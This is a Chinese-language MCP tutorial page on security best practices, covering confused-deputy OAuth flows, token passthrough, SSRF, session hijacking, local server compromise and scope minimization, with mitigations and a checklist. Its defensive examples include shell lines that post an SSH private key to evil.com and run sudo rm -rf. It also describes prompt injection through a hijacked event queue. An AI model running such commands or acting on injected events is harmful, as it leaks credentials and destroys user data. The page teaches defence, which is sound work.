导航菜单

  • 1.什么是MCP
  • 2.架构概览
  • 3.理解MCP服务器
  • 4.理解MCP客户端
  • 5.版本控制
  • 6.连接本地MCP服务器
  • 7.连接远程MCP服务器
  • 8.构建MCP服务器
  • 9.构建MCP客户端
  • 10.SDKs
  • 11.理解MCP中的授权
  • 12.安全最佳实践
  • 13.MCP Inspector
  • 14.规范
  • 15.关键变更
  • 16.架构
  • 17.基础协议概述
  • 18.生命周期
  • 19.传输
  • 20.授权
  • 21.取消
  • 22.Ping
  • 23.进度
  • 24.任务
  • 25.根
  • 26.采样
  • 27.引导
  • 29.提示
  • 30.资源
  • 31.工具
  • 32.补全
  • 33.日志
  • 34.分页
  • 35.模式参考
  • Keycloak
  • 28.服务器功能
  • 1. 安全最佳实践
  • 2. 本文内容
  • 3. 攻击类型
  • 4. 攻击与缓解措施
    • 4.1 混淆代理问题
      • 4.1.1 通俗理解
      • 4.1.2 相关术语
      • 4.1.3 易受攻击条件
      • 4.1.4 架构与攻击流程
        • 4.1.4.1 正常流程(用户明确同意)
        • 4.1.4.2 恶意流程(利用 Cookie 跳过同意)
      • 4.1.5 缓解措施
    • 4.2 令牌透传
      • 4.2.1 通俗理解
      • 4.2.2 风险
      • 4.2.3 缓解措施
    • 4.3 服务端请求伪造 (SSRF)
      • 4.3.1 通俗理解
      • 4.3.2 攻击示意
      • 4.3.3 缓解措施
    • 4.4 会话劫持
      • 4.4.1 通俗理解
      • 4.4.2 攻击示意(提示注入)
      • 4.4.3 缓解措施
    • 4.5 本地 MCP 服务器入侵
      • 4.5.1 通俗理解
      • 4.5.2 危险示例
      • 4.5.3 缓解措施
    • 4.6 Scope 最小化
      • 4.6.1 通俗理解
      • 4.6.2 缓解措施
      • 4.6.3 常见错误
  • 5. 安全检查清单
  • 6. 延伸阅读

1. 安全最佳实践 #

MCP 实现的安全考虑、攻击向量与防护建议

2. 本文内容 #

  • MCP 场景下常见的安全风险与攻击方式
  • 每种攻击的通俗理解与直观示例
  • 对应的缓解措施与最佳实践
  • 一份可自查的「安全检查清单」

本文档与 MCP 授权规范 和 OAuth 2.0 安全最佳实践 配合使用,面向实现 MCP 授权、运营 MCP 服务器或评估 MCP 系统安全的开发者。

3. 攻击类型 #

攻击类型 通俗理解 主要风险
混淆代理 恶意客户端利用「代理 + 同意 Cookie」跳过用户同意 未经授权访问第三方 API
令牌透传 服务器不验证令牌,直接转发给下游 绕过安全控制、审计混乱
SSRF 恶意服务器诱导客户端访问内网或云元数据 凭据泄露、内网探测
会话劫持 攻击者窃取会话 ID 冒充用户 未授权操作、提示注入
本地服务器入侵 恶意配置或包在用户机器上执行任意命令 数据外泄、系统破坏
Scope 滥用 请求过大 scope,令牌泄露后影响面大 横向渗透、难以撤销

4. 攻击与缓解措施 #

4.1 混淆代理问题 #

4.1.1 通俗理解 #

混淆代理:MCP 代理服务器作为「中间人」连接第三方 API,使用同一个 OAuth 客户端 ID(静态 ID)。若代理同时允许客户端动态注册,且第三方授权服务器用 Cookie 记住「用户已同意」,攻击者可以:

  1. 诱导用户点击恶意链接
  2. 利用用户浏览器里已有的「同意 Cookie」
  3. 让第三方授权服务器跳过同意界面
  4. 把授权码重定向到攻击者控制的地址

结果:攻击者在用户不知情的情况下,以用户身份访问第三方 API。

4.1.2 相关术语 #

术语 说明
MCP 代理服务器 连接 MCP 客户端与第三方 API 的 MCP 服务器,作为第三方 API 的单一 OAuth 客户端
静态客户端 ID 代理与第三方授权服务器通信时使用的固定 client_id,所有请求共用
同意 Cookie 第三方授权服务器在用户同意后设置的 Cookie,表示「该用户已同意该 client_id」

4.1.3 易受攻击条件 #

当同时满足以下条件时,攻击可行:

  • 代理对第三方使用静态客户端 ID
  • 代理允许 MCP 客户端动态注册(每个客户端有自己的 client_id)
  • 第三方授权服务器在首次同意后设置同意 Cookie
  • 代理在转发到第三方之前未做「每客户端同意」校验

4.1.4 架构与攻击流程 #

4.1.4.1 正常流程(用户明确同意) #
sequenceDiagram participant UA as 用户代理(浏览器) participant MC as MCP客户端 participant MPS as MCP代理服务器 participant TAS as 第三方授权服务器 Note over UA, TAS: 步骤1:合法用户同意第三方服务器 MC->>UA: 重定向至第三方授权服务器 UA->>TAS: 授权请求(client_id: mcp-proxy) TAS->>UA: 授权同意界面 Note over UA: 用户审查并批准 UA->>TAS: 批准 TAS->>UA: 设置同意Cookie:mcp-proxy TAS->>UA: 授权码 + 重定向至mcp-proxy-server.com UA->>MPS: 第三方授权码 MPS->>UA: 重定向至MCP客户端,附带MCP授权码
4.1.4.2 恶意流程(利用 Cookie 跳过同意) #
sequenceDiagram participant UA as 用户代理(浏览器) participant MPS as MCP代理服务器 participant TAS as 第三方授权服务器 participant A as 攻击者 Note over UA, A: 步骤2:攻击(利用已有Cookie,跳过同意) A->>MPS: 动态注册恶意客户端,redirect_uri=attacker.com A->>UA: 发送恶意链接 UA->>TAS: 授权请求(client_id: mcp-proxy)+ 同意Cookie rect rgba(255, 17, 0, 0.67) TAS->>TAS: Cookie存在,跳过同意界面 end TAS->>UA: 授权码 + 重定向至mcp-proxy-server.com UA->>MPS: 授权码 MPS->>UA: 重定向至attacker.com,附带MCP授权码 UA->>A: 攻击者获得授权码,冒充用户

4.1.5 缓解措施 #

必须实现「每客户端同意」,并在转发到第三方之前完成校验。

正确流程示意(同意在转发第三方之前完成):

sequenceDiagram participant Client as MCP客户端 participant Browser as 用户浏览器 participant MCPServer as MCP服务器 participant ThirdParty as 第三方授权服务器 Client->>Browser: 打开MCP服务器授权URL Browser->>MCPServer: GET /authorize?client_id=...&redirect_uri=... MCPServer->>MCPServer: 检查该client_id的同意状态 alt 尚未预先批准 MCPServer->>Browser: 显示MCP自有同意页("允许[客户端]访问[第三方API]吗?") Browser->>MCPServer: POST /consent (批准) MCPServer->>MCPServer: 存储针对client_id的同意 end MCPServer->>Browser: 重定向至第三方 /authorize(使用静态client_id) Browser->>ThirdParty: 用户认证与同意 ThirdParty->>Browser: 重定向并附带授权码 Browser->>MCPServer: 回调(第三方授权码) MCPServer->>ThirdParty: 交换授权码获取令牌 MCPServer->>Browser: 重定向至客户端redirect_uri
措施 要求
每客户端同意存储 维护「用户 + client_id」的同意记录;在启动第三方授权流程之前检查;用服务端数据库或安全 Cookie 存储
同意界面 明确显示请求的 MCP 客户端名称、第三方 scope、redirect_uri;实现 CSRF 防护;用 frame-ancestors 或 X-Frame-Options: DENY 防点击劫持
同意 Cookie 安全 使用 __Host- 前缀;设置 Secure、HttpOnly、SameSite=Lax;对内容签名或使用服务端会话;绑定到具体 client_id
Redirect URI 校验 与注册的 URI 完全匹配;禁止模式匹配或通配符
OAuth state 参数 每次授权请求生成随机 state;仅在用户批准同意后存储 state;回调时校验 state 一致;state 一次性使用、短期过期(如 10 分钟)

关键:包含 state 的 Cookie/会话不得在用户于 MCP 同意界面点击「批准」之前设置,否则攻击者可绕过同意界面。

4.2 令牌透传 #

4.2.1 通俗理解 #

令牌透传:MCP 服务器收到客户端传来的令牌后,不验证是否为自己签发,直接转发给下游 API 使用。

错误做法 正确做法
客户端传来什么 token,服务器就原样传给下游 服务器验证 token 的 issuer、audience、scope,确认是发给自己的才使用

4.2.2 风险 #

  • 绕过安全控制:下游依赖 token 做限流、审计时失效
  • 审计混乱:无法区分请求来自哪个 MCP 客户端
  • 信任边界被打破:窃取的 token 可被用来访问其他服务

4.2.3 缓解措施 #

MCP 服务器不得接受任何未明确为自己签发的令牌。 必须验证 issuer、audience、scope 等声明。

4.3 服务端请求伪造 (SSRF) #

4.3.1 通俗理解 #

SSRF:恶意 MCP 服务器在 401 响应或元数据中返回内部 URL,诱导 MCP 客户端去访问:

  • 内网地址:http://192.168.1.1/admin
  • 云元数据:http://169.254.169.254/(AWS/GCP/Azure 凭据)
  • 本地服务:http://localhost:6379/(Redis 等)

客户端若未校验就直接请求,会泄露凭据或暴露内网。

4.3.2 攻击示意 #

sequenceDiagram participant Client as MCP客户端 participant MCPServer as 恶意MCP服务器 participant Internal as 内部服务 Client->>MCPServer: 连接到MCP服务器 MCPServer-->>Client: 401 + resource_metadata="http://169.254.169.254/..." Client->>Internal: GET 云元数据(未校验URL) Internal-->>Client: 返回云凭证 Client-->>MCPServer: 错误或响应可能泄露给攻击者

4.3.3 缓解措施 #

措施 说明
强制 HTTPS 生产环境 OAuth 相关 URL 必须为 HTTPS;开发时仅允许 localhost/127.0.0.1 使用 http
阻止私有 IP 禁止访问 10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16、127.0.0.0/8、::1、fc00::/7、fe80::/10(开发时 localhost 可例外)
验证重定向 对重定向目标应用同样的 URL 校验;考虑禁用自动跟随,逐跳验证
出口代理 使用 Smokescreen 等防 SSRF 的出口代理,限制出站访问
DNS 注意 注意 TOCTOU:验证时解析为安全 IP,请求时可能变为内网 IP;可固定解析结果

避免手写 IP 校验,建议使用成熟库,防止八进制、十六进制等编码绕过。

4.4 会话劫持 #

4.4.1 通俗理解 #

会话劫持:攻击者获取或猜测到会话 ID 后,用该 ID 冒充用户发起请求,服务器误认为是合法用户。

变体 说明
会话劫持 + 冒充 攻击者用会话 ID 直接调用 API,无需重新登录
会话劫持 + 提示注入 攻击者向共享队列注入恶意事件,客户端轮询时收到并执行

4.4.2 攻击示意(提示注入) #

sequenceDiagram participant Client as 客户端 participant ServerA as 服务器A participant Queue as 队列 participant ServerB as 服务器B participant Attacker as 攻击者 Client->>ServerA: 初始化,获得会话ID Attacker->>ServerB: 获取/猜测会话ID Attacker->>ServerB: 注入恶意事件(带会话ID) ServerB->>Queue: 入队(关联会话ID) Client->>ServerA: 轮询事件 ServerA->>Queue: 获取事件 Queue-->>ServerA: 恶意负载 ServerA-->>Client: 返回恶意负载 Client->>Client: 执行恶意内容(被入侵)

4.4.3 缓解措施 #

措施 要求
会话不用于认证 所有请求必须带有效授权令牌;会话 ID 仅用于路由,不替代认证
安全会话 ID 使用加密安全的随机数(如 UUID);避免可预测或递增的 ID
绑定用户 会话与用户 ID 绑定,存储键如 <user_id>:<session_id>,防止跨用户冒充
轮换与过期 支持会话轮换和过期,降低泄露影响

4.5 本地 MCP 服务器入侵 #

4.5.1 通俗理解 #

本地 MCP 服务器在用户机器上运行,可访问文件系统、网络等。若配置来自不可信来源,攻击者可以:

  • 在配置中嵌入恶意启动命令
  • 通过恶意 npm 包等分发恶意代码
  • 诱导用户执行 rm -rf、上传 SSH 密钥等

4.5.2 危险示例 #

# 数据外泄:上传 SSH 私钥到攻击者服务器
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://evil.com/steal

# 权限提升:删除系统文件
sudo rm -rf /important/system/files && echo "MCP server installed!"

4.5.3 缓解措施 #

角色 措施
MCP 客户端 配置前显示完整命令,要求用户明确同意;高亮危险模式(sudo、rm -rf、网络请求、敏感路径);在沙箱中运行,最小权限
MCP 服务器 使用 stdio 传输限制访问;若用 HTTP,要求授权或使用 Unix 域套接字等受限 IPC

4.6 Scope 最小化 #

4.6.1 通俗理解 #

Scope 过大:客户端一次请求 files:*、db:*、admin:* 等大范围权限,用户难以理解,令牌泄露后影响面也大。

错误做法 正确做法
请求全部 scope,一次性授权 按需请求最小 scope,首次特权操作时再提升
使用 *、all、full-access 使用细粒度 scope,如 mcp:tools-read、mcp:tools-write
在 scopes_supported 中列出所有 scope 仅列出当前支持的 scope,按需扩展

4.6.2 缓解措施 #

  • 渐进式授权:初始仅 mcp:tools-basic 等低风险 scope;首次需要特权时,通过 WWW-Authenticate 的 scope="..." 质询提升
  • 服务器:发出精确的 scope 质询;记录提升事件(请求的 scope、实际授予的 scope)
  • 客户端:从基线 scope 开始;缓存最近的失败,避免重复提升循环

4.6.3 常见错误 #

  • 在 scopes_supported 中发布所有可能的 scope
  • 使用通配符或综合 scope
  • 将无关权限捆绑在一起
  • 每次质询返回完整 scope 目录
  • 仅依赖令牌中的 scope 声明,不做服务端授权校验

5. 安全检查清单 #

部署前可对照下表自查:

类别 检查项
授权 □ 所有敏感端点均需有效令牌
□ 验证令牌的 issuer、audience、scope
□ 不使用令牌透传
混淆代理 □ 实现每客户端同意,且在转发第三方之前完成
□ 同意界面显示客户端名、scope、redirect_uri
□ Redirect URI 精确匹配
□ OAuth state 仅在用户批准后设置
SSRF □ OAuth 相关 URL 校验(HTTPS、禁止私有 IP)
□ 重定向目标同样校验
□ 生产环境使用出口代理限制出站
会话 □ 会话不用于认证,仅用于路由
□ 会话 ID 安全随机、与用户绑定
□ 支持会话轮换与过期
本地服务器 □ 配置前展示完整命令并征得用户同意
□ 在沙箱中运行,最小权限
□ 高亮危险命令模式
Scope □ 使用最小必要 scope
□ 避免通配符和综合 scope
□ 服务端校验 scope,不只看令牌声明
通用 □ 不记录 Authorization 头、token、密钥
□ 生产环境强制 HTTPS
□ 凭据使用环境变量或密钥管理,不写进代码

6. 延伸阅读 #

  • MCP 授权规范
  • OAuth 2.0 安全最佳实践 (RFC 9700)
  • OWASP SSRF 防护速查表
  • 理解 MCP 中的授权
← 上一节 11.理解MCP中的授权 下一节 13.MCP Inspector →

访问验证

请输入访问令牌

Token不正确,请重新输入